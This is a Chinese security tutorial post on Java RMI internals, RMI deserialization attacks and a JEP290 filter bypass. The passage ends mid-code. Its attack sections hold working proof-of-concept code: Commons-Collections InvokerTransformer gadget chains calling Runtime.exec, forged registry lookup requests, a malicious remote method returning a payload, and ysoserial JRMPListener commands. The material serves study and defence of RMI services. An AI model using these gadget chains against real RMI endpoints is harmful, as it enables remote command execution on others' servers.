JAVA RMI 反序列化攻击 & JEP290 Bypass分析 - 先知社区
2022-5-18 00:7:35 Author: xz.aliyun.com(查看原文) 阅读量:77 收藏

  • ## 说在前面

入门了反序列化之后对RMI、JNDI、LDAP、JRMP、JMX、JMS这些都不了解,所以打算一个问题一个问题的解决它们,这这篇专注于RMI的学习,从RPC到RMI的反序列化再到JEP290都过了一遍。参考了很多很多师傅的文章,如果有写的不对的地方还望师傅们不吝赐教。

RMI 基础

RPC

RPC(Remote Procedure Call)远程过程调用,就是要像调用本地的函数一样去调远程函数。它并不是某一个具体的框架,而是实现了远程过程调用的都可以称之为RPC。比如RMI(Remote Method Invoke 远程方法调用)就是一个实现了RPC的JAVA框架。

RPC的演化过程可以看这个视频进行了解:https://www.bilibili.com/video/BV1zE41147Zq

对于视频里面实现RPC的方式我画了一个简单的流程图来理解:

Client如果想要远程调用一个方法,就需要通过一个Stub类传递类名、方法名与参数信息给Server端,Server端获取到这些信息后会从本地服务器注册表中找到具体的类,再通过反射获取到一个具体的方法并执行然后返回结果。

JAVA 代理

代理模式

代理模式是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。

ProxyClient直接调用DoAction()中间加了一层处理,正是这层处理扩展了对象的功能。

静态代理

这种代理方式需要代理对象和目标对象实现一样的接口。

例子如下:

  • 接口类:IUserDao.java
package proxy1;

public interface IUserDao {
    public void save();
}
  • 目标对象:UserDao.java
package proxy1;
// 实现IUserDao接口
public class UserDao implements IUserDao{
    @Override
    public void save() {
        System.out.println("保存数据");
    }
}
  • 静态代理对象:UserDapProxy.java
package proxy1;
// 也需要实现IUserDao接口
public class UserDapProxy implements IUserDao{
    private IUserDao target;

    public UserDapProxy(IUserDao target) {
        this.target = target;
    }

    @Override
    public void save() { // 重写方法
        System.out.println("doSomething before"); // 执行前可以加的操作
        target.save(); // 实际上需要调用的方法
        System.out.println("doSomething after"); // 执行后可以加的操作
    }
}
  • 测试类:TestProxy.java
package proxy1;

public class TestProxy {
    public static void main(String[] args) {
        // 目标对象
        IUserDao target = new UserDao();
        // 代理对象
        UserDapProxy proxy = new UserDapProxy(target);
        // 通过代理调用方法
        proxy.save();
    }
}

可以看到,在不修改原来对象功能的前提下,在调用方法前后增加了功能。但是这种代理模式有很一些缺点:

  1. 冗余。由于代理对象要实现与目标对象一致的接口,会产生过多的代理类。
  2. 不易维护。一旦接口增加方法,目标对象与代理对象都要进行修改。

动态代理

动态代理利用JAVA中的反射,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。动态代理对象不需要实现接口,但是要求目标对象必须实现接口,否则不能使用动态代理。

  • 动态代理对象:UserProxyFactory.java
package proxy1;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class UserProxyFactory {
    private Object target;

    public UserProxyFactory(Object target) {
        this.target = target;
    }

    public Object getProxyInstance() {
        // 返回一个指定接口的代理类实例,该接口可以将方法调用指派到指定的调用处理程序。
        return Proxy.newProxyInstance(
                target.getClass().getClassLoader(), // 指定当前目标对象使用类加载器
                target.getClass().getInterfaces(), // 目标对象实现的接口的类型
                new InvocationHandler() { // 事件处理器
                    @Override // 重写InvocationHandler累类的invoke方法,通过反射调用方法
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        System.out.println("doSomething before");
                        Object returnValue = method.invoke(target, args);
                        System.out.println("doSomething after");
                        return null;
                    }
                }
        );
    }
}
  • 测试类:TestDynamicProxy.java
package proxy1;

public class TestDynamicProxy {
    public static void main(String[] args) {
        IUserDao taget = new UserDao();
        System.out.println(taget.getClass()); // 获取目标对象信息
        IUserDao proxy = (IUserDao) new UserProxyFactory(taget).getProxyInstance(); // 获取代理类 
        System.out.println(proxy.getClass()); // 获取代理对象信息
        proxy.save(); // 执行代理方法
    }
}

参考文章

JAVA RMI

定义:

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

JAVA中RMI的简单例子:

Server端

定义一个远程接口:User.java

package eval_rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}

在Java中,只要一个类extends了java.rmi.Remote接口,即可成为存在于服务器端的远程对象。其他接口中的方法若是声明抛出了RemoteException异常,则表明该方法可被客户端远程访问调用。

JavaDoc描述:Remote 接口用于标识其方法可以从非本地虚拟机上调用的接口。任何远程对象都必须直接或间接实现此接口。只有在“远程接口” (扩展 java.rmi.Remote 的接口)中指定的这些方法才可被远程调用。

远程接口实现类:UserImpl.java

package eval_rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// java.rmi.server.UnicastRemoteObject构造函数中将生成stub和skeleton
public class UserImpl extends UnicastRemoteObject implements User{
    // 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
    public UserImpl() throws RemoteException{
        super();
    }
    @Override
    public String name(String name) throws RemoteException{
        return name;
    }
    @Override
    public void say(String say) throws  RemoteException{
        System.out.println("you speak" + say);
    }
    @Override
    public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }
}

远程对象必须继承java.rmi.server.UniCastRemoteObject类,这样才能保证客户端访问获得远程对象时,该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”,而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理(Stub),用于与服务器端的通信,而骨架也可认为是服务器端的一个代理(skeleton),用于接收客户端的请求之后调用远程方法来响应客户端的请求。

这个Stub和RPC同理,Skeleton可以理解为是服务端的Stub。

服务端实现类:UserServer.java

package eval_rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class UserServer {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/User";
        User user = new UserImpl(); // 生成stub和skeleton,并返回stub代理引用
        LocateRegistry.createRegistry(3333); // 本地创建并启动RMI Service,被创建的Registry服务将在指定的端口上监听并接受请求
        Naming.bind(url, user); // 将stub代理绑定到Registry服务的URL上
        System.out.println("the rmi is running : " + url);
    }
}

这个类的作用就是注册远程对象,向客户端提供远程对象服务。将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了。

Naming类的介绍:

/** Naming 类提供在对象注册表中存储和获得远程对远程对象引用的方法 
 *  Naming 类的每个方法都可将某个名称作为其一个参数, 
 *  该名称是使用以下形式的 URL 格式(没有 scheme 组件)的 java.lang.String: 
 *  //host:port/name 
 *  host:注册表所在的主机(远程或本地),省略则默认为本地主机 
 *  port:是注册表接受调用的端口号,省略则默认为1099,RMI注册表registry使用的著名端口 
 *  name:是未经注册表解释的简单字符串 
 */  
//Naming.bind("//host:port/name", h);

Client端

UserClient.java

package eval_rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class UserClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/User";
        User userClient = (User)Naming.lookup(url); // 从RMI Registry中请求stub
        System.out.println(userClient.name("test")); // 通过stub调用远程接口实现
        userClient.say("world"); // 在客户端中调用,在服务端输出
    }
}

RMI测试

先启动UserServer.java,再启动UserClient.java

同时在服务端:

直接使用Registry实现的RMI

除了使用Naming的方式注册RMI之外,还可以直接使用Registry实现。代码如下:

Server端:

package eval_rmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(3333); // 本地主机上的远程对象注册表Registry的实例
        User user = new UserImpl(); // 创建一个远程对象
        registry.rebind("HelloRegistry", user); // 把远程对象注册到RMI注册服务器上,并命名为HelloRegistr
        System.out.println("rmi start at 3333");
    }
}

Client端:

package eval_rmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserClient {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry(3333); // 获取注册表
        User userClient = (User) registry.lookup("HelloRegistry"); // 获取命名为HelloRegistr的远程对象的stub
        System.out.println(userClient.name("test")); 
        userClient.say("world");
    }
}

总结

根据RMI的整个过程画出一个的流程图如下:

JRMP

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。

简单理解就是:JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。

文章在Bypass JEP290部分有提到JRMP端,是指实现了JRMP接收、处理和发送请求过程的服务。

RMI源码分析

Registry的获取有两种方式分别是LocateRegistry.createRegistryLocateRegistry.getRegistry。通过这两种方式对注册中心操作的流程也不一样,如bindrebindlookup等。这里把两种不同的方式称作本地操作注册中心远程操作注册中心。下面通过分析这两种方式的调用过程来了解序列化和反序列化在其中是怎么起作用的,为后面反序列化漏洞的分析作铺垫。

Server端注册中心(Registry)

java.rmi.registry 公共接口注册表

注册表是一个简单的远程对象注册表的远程接口,该注册表提供了用于存储和检索绑定有任意字符串名称的远程对象引用的方法。 bind,unbind和rebind方法用于更改注册表中的名称绑定,而lookup和list方法用于查询当前名称绑定。
在其典型用法中,注册表启用RMI客户端引导程序:它为客户端提供了一种简单的方法来获取对远程对象的初始引用。因此,通常使用众所周知的地址(例如,众所周知的ObjID和TCP端口号)导出注册表的远程对象实现(默认值为1099)。

LocateRegistry.createRegistry

测试代码:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserServerTest {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(3333);
        User user = new UserImpl();
        registry.bind("HelloRegistry", user);
        System.out.println("rmi start at 3333");
    }
}

根据createRegistry源码的调用流程,流程图及调用栈如下,其中各种参数的传递这里就不分析了。

  • 创建RemoteStub时的调用栈

  • 创建Skeleton的调用栈

  • 创建Socket服务开启监听调用栈

  • 接收与处理请求的调用栈

处理请求:

需要特别注意的就是这里真正处理请求的部分,以bind操作为例,这里对var3这个变量进行了判断,并根据不同的数字进行不同的处理,最终调用var6.bind进行绑定,最终把服务绑定在this.bingdings上。其中var3对应关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

从上图过程中也可以看出来,这里对传入的对象进行了一个反序列化的处理。那如果传入的内容是一个恶意对象的话,就可能造成反序列化漏洞。

这里再看一下如果是使用LocateRegistry.createRegistry本地获取了注册中心之后,直接绑定服务是什么流程。跟一下就可以看到过程比较简单,经过了一个checkAccess的检测之后就把服务加入了this.bindings里了。(上面对请求处理也会调用到这个方法)

这里的checkAccess就是为了检查绑定时是否是在同一个服务器上。

在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。

LocateRegistry.getRegistry

LocateRegistry.createRegistry的流程图中可以看到,注册中心对端口进行了监听并接受与处理请求。接着再来看通过LocateRegistry.getRegistry来远程获取注册中心与请求数据的流程是怎么样的。

首先通过LocateRegistry.getRegistry获取到的是RegistryImpl_Stub对象:

跟入bind方法:

把传入的服务名称和对象都进行反序列化传递给类型为ObjectOutputvar4变量。并通过invoke方法传递到Server的Registry那边进行处理。来看一下newCall方法:

这里传递进来的var30,继续传入到了new StreamRemoteCall里:

最后将这个var3发送到服务端那边进行处理。

以这个bind为例,所以远程绑定的流程就是:

  1. 先告诉Server端我们要进行什么样的操作,比如bind就传递一个0...
  2. 再把服务名和对象都进行反序列化发给Server端
  3. Server端获取到了服务名和对象名之后,反序列化调用var6.bind()最终绑定到this.bindings

同样画出流程图如下:

在这个过程中,存在一个序列化和反序列化的过程,所以存在反序列化漏洞的风险。

Client端调用方法

测试代码:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserClient {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry(3333); // 获取注册表
        User userClient = (User) registry.lookup("HelloRegistry"); // 获取命名为HelloRegistr的远程对象的stub
        System.out.println(userClient.name("test"));
        userClient.say("world");
    }
}

通过lookup获取到的是一个Proxy代理对象:

跟入调用name的过程,到了invoke方法处,会调用invokeRemoteMethod方法:

这里传入了所调用的代理、方法名、参数和methodhash值到this.ref.invoke方法中。this.ref中包含了远程服务对象的各类信息,如地址与端口、ObjID等。

invoke函数里就是对这些数据进行处理(参数会序列化)发送到Server端那边。具体这里就不再跟入了。

再来看看Server那边是怎么处理传过来的数据的,Server端处理Client端传递过来的数据在 调用栈如下:

sun/rmi/server/UnicastServerRef.class#dispatch

这里会对传递过来的参数进行反序列化,再使用反射调用方法。我们来看下unmarshalValue方法:

在Client端有一个对应的marshalValue,是为了序列化参数。

总结一下调用过程:Client端通过Stub代理将参数都序列化传递到Server端,Server端反序列化参数通过反射调用方法获取结果返回。当然如果返回的内容是一个对象的话,返回后同样会进行反序列化过程。

接着来看不同的场景下的反序列化利用:

RMI 反序列化攻击

根据不同场景下的攻击画出的流程图如下:

四种攻击的方式的利用过程如下:

一、服务端与客户端攻击注册中心

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。

bind() & rebind()

根据之前我们的分析,远程调用bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的对象即可。这里用的是Common-Collection3.1的poc作为例子:

package SimpleRMI_2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class UserServerEval {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry = LocateRegistry.createRegistry(3333);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
        registry_remote.bind("HelloRegistry", proxyEvalObject);
        System.out.println("rmi start at 3333");
    }
}

这里有一个需要注意的点就是调用bind()的时候无法传入AnnotationInvocationHandler类的对象,必须要转为Remote类才行。这里使用了下面的方式进行转换:

InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap); // 将
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));

AnnotationInvocationHandler本身实现了InvocationHandler接口,再通过代理类封装可以用class.cast进行类型转换。又因为反序列化存在传递性,当proxyEvalObject被反序列化时,evalObject也会被反序列化,自然也会执行poc链。(存在疑问:为什么要用代理类封装才行?)

Remote.class.cast可以参考:关于JAVA中的Class.cast方法 这个方法的作用就是强制转换类型。
反序列化过程参考:序列化和反序列化

除了bind()操作之外,rebind()也可以这样利用。但是lookupunbind只有一个String类型的参数,不能直接传递一个对象反序列化。得寻找其他的方式。

unbind & lookup

unbind的利用方式跟lookup是一样的。这里以lookup为例。

注册中心在处理请求时,是直接进行反序列化再进行类型转换,转换流程如图所示:

如果我们要控制传递过去的序列化值的话,不能直接传递给lookup这个方法,因为它的参数是一个String类型。但是它发送请求的流程是可以直接复制的,只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。

构造出来的POC如下:

package SimpleRMI_2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class UserServerEval2 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry = LocateRegistry.createRegistry(3333);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);

        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyEvalObject);
        ref.invoke(var2);

        registry_remote.lookup("HelloRegistry");
        System.out.println("rmi start at 3333");
    }
}

可以看到,即使报了字符转换的error,还是利用成功了。

除了这种伪造请求,还可以rasp hook请求代码,修改发送数据进行利用,现在还没接触过rasp,就先不复现了。

二、注册中心攻击客户端与服务端

从上面的代码中也可以看出来,客户端和服务端与注册中心的参数交互都是把数据序列化和反序列化来进行的,那这个过程中肯定也是存在一个对注册中心返回的数据的反序列化的处理,这个地方也存在反序列化漏洞风险。(详细分析可以看Bypass JEP290部分)

可以用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'

开启注册中心:

客户端测试代码:

package SimpleRMI_2;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserClientEval {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
        registry.list();
    }
}

执行了之后就可以看到命令执行成功了。

除了list()之外,其余的操作都可以进行利用:

list()
bind()
rebind()
unbind()
lookup()

例如bind()

三、客户端攻击服务端

如果注册服务的对象接收一个参数为对象,那么可以传递一个恶意对象进行利用。比如这里可以传递一个Common-collection3.1反序列化漏洞poc构造出的一个恶意对象作为参数利用:

POC:

package eval_rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class UserClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/User";
        User userClient = (User)Naming.lookup(url);
        System.out.println(userClient.name("test"));
        userClient.say("world");// 这里会在server端输出
        userClient.dowork(getpayload());
    }

    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

服务器端会执行命令:

四、服务端攻击客户端

跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了。这里我在原来RMI测试例子的基础上加了一个getwork()方法。

UserImpl.java

package SimpleRMI_2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class UserImpl extends UnicastRemoteObject implements User {

    public UserImpl() throws RemoteException{
        super();
    }
    public String name(String name) throws RemoteException{
        return name;
    }
    public void say(String say) throws  RemoteException{
        System.out.println("you speak" + say);
    }
    public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }

    public Object getwork() throws RemoteException {
        Object evalObject = null;
        try {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[] {String.class, Class[].class},
                            new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[] {Object.class, Object[].class},
                            new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] {String.class},
                            new Object[] {"open -a Calculator"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "Threezh1");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
            cons.setAccessible(true);
            evalObject = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        }catch (Exception e){
            e.printStackTrace();
        }
        return evalObject;
    }
}

开启Server之后,在Client端调用getwork()方法即可以攻击成功。

JEP290

什么是JEP290?

JEP290是来限制能够被反序列化的类,主要包含以下几个机制:

  1. 提供一个限制反序列化类的机制,白名单或者黑名单。
  2. 限制反序列化的深度和复杂度。
  3. 为RMI远程调用对象提供了一个验证类的机制。
  4. 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。

JEP290支持的版本:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话就还是可以正常的反序列化漏洞利用。所以如果是Client端和Server端互相攻击是没有过滤的。

设置JEP290的方式有下面两种:

  1. 通过setObjectInputFilter来设置filter
  2. 直接通过conf/security/java.properties文件进行配置 参考

Bypass JEP290

Registry通过setObjectInputFilter来设置filter过程分析

测试环境:

JDK 8u131

pom.xml

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

测试例子:

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class UserServerEval {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry = LocateRegistry.createRegistry(3333);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
        registry_remote.bind("HelloRegistry", proxyEvalObject);
        System.out.println("rmi start at 3333");
    }

}

在创建注册中心过程中存在一个setObjectInputFilter的过程,因此在客户端(这里代表Server和Client端)攻击注册中心过程中会被过滤。比如这里我给注册中心绑定了一个Common-collection5的恶意对象,结果是报错了,报错信息为:filter status REJECTED。说明传入的恶意对象被拦截了。

接着来跟一下注册中心创建的流程,看看setObjectInputFilter的过程到底是怎么样的。

首先到了RegistryImpl方法处,可以看到,实例化UnicastServerRef时第二个参数传入的是RegistryImpl::registryFilter。传入之后的值赋值给了this.Filter

看一下registryFilter这个方法:

这里的registryFilter默认为null,可以先不管这个判断,后面返回的内容相当于配置了一个白名单,当传入的类不属于白名单的内容时,则会返回REJECTED,否则就会返回ALLOWED。白名单如下:

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

bind()操作请求后,注册中心的接收端会调用oldDispatch方法,文件地址:jdk1.8.0_131.jdk/Contents/Home/jre/lib/rt.jar!/sun/rmi/server/UnicastServerRef.class。最终是会去调用this.skel.dispatch去绑定服务的。在这句之前有一个this.unmarshalCustomCallData(var18);跟入进去看看。

可以看到在这里调用了Config.setObjectInputFilter设置了过滤。UnicastServerRef.this.filter就是之前实例化UnicastServerRef时所设置的。规则就是之前所说的白名单,不属于那个白名单的类就不允许被反序列化。

那这个过程其实就是Registry在处理请求的过程中设置了一个过滤器来防范注册中心被反序列化漏洞攻击。有过滤就有绕过,这里的绕过方式是什么样的呢?

Bypass 复现

  1. ysoserial启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5的)
  2. 启动注册中心
  3. 启动Client调用bind()操作
  4. 注册中心被反序列化攻击
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "open -a Calculator"

UserServer.java

package test;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(2222);
        User user = new UserImpl();
        registry.rebind("HelloRegistry", user);
        System.out.println("rmi start at 2222");
    }
}

TestClient.java

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class TestClient {
